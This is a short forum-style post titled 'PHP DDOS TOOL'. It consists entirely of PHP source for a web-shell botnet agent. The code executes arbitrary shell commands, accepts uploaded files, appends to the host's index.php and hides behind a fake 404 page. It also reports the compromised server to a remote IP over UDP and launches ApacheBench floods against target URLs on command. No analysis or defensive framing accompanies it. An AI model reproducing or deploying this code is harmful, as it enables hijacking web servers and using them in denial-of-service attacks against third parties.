PHP DDOS TOOL
PHP DDOS TOOL
PHP Code:
PHP Code:
(0); $base = dirname(__FILE__)."/";
function stoped() {cmdexec("killall -9 perl;
killall -9 perl-bin;
killall -9 perl-cgi;
"); unlink($base."start.php"); unlink($base."f1.pl"); unlink($base."run.pl"); unlink($base."startphp.php");
print "Stop & Clean "; apache_child_terminate();
}function UploadFile($File){cmdexec("killall -9 perl"); cmdexec("killall -9 perl-bin"); cmdexec("killall -9 perl-cgi"); $target_path ="./"; $target_path = $target_path . basename( $File['name']);
@move_uploaded_file($File['tmp_name'], $target_path);
}function cmdexec($cmd){if(function_exists('system'))@system($cmd);
elseif(function_exists('passthru'))@passthru($cmd);
elseif(function_exists('shell_exec'))@shell_exec($cmd);
elseif(function_exists('exec'))@exec($cmd);
elseif(function_exists('popen'))@popen($cmd,"r");
}function curPageURL(){$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";
}$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80") {$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
} else {$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
}return $pageURL;
}function DNullRequest() {@ob_start();
print "404 Not Found Not Found
The requested URL /indx.php was not found on this server.
Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.
";
die();
}if ($_GET['action']=="status") {print "itsoknoproblembro";
exit();
}if ($_GET['action']=="start.php") {cmdexec("ps | grep -r perl");
exit();
}if ($_GET['action']=="startphp.php") {cmdexec("ps | grep -r php");
exit();
}if ($_GET['action']=="infection") {$up = "?>"; $index =$_SERVER['DOCUMENT_ROOT']."/index.php";
if (file_exists($index)) {$fp = @fopen($index, 'a+');
@fwrite($fp, $up);
@fclose($fp); $content = file_get_contents($index);
if (eregi("RSqMi6uu",$content)) {print "Infected ";
}else{print "Not Infected ";
}}else{print "N E I ";}}switch($_POST['action']){case "upload":UploadFile($_FILES['file']);
break;
case "stop":stoped();
break;
case "ust":$page = curPageURL(); $ip = $_POST['ip']; $port = "11"; $out = $page."\n"; $socket = stream_socket_client("udp://$ip:$port");
if ($socket) {stream_set_write_buffer($socket, 0); stream_socket_sendto($socket,$out);
}fclose($socket);
break;
case "ab":$url = $_POST['url']; $c = $_POST['c']; $n = $_POST['n']; cmdexec("ab -c $c -n $n $url");
break;
default:DNullRequest();
break;
}?>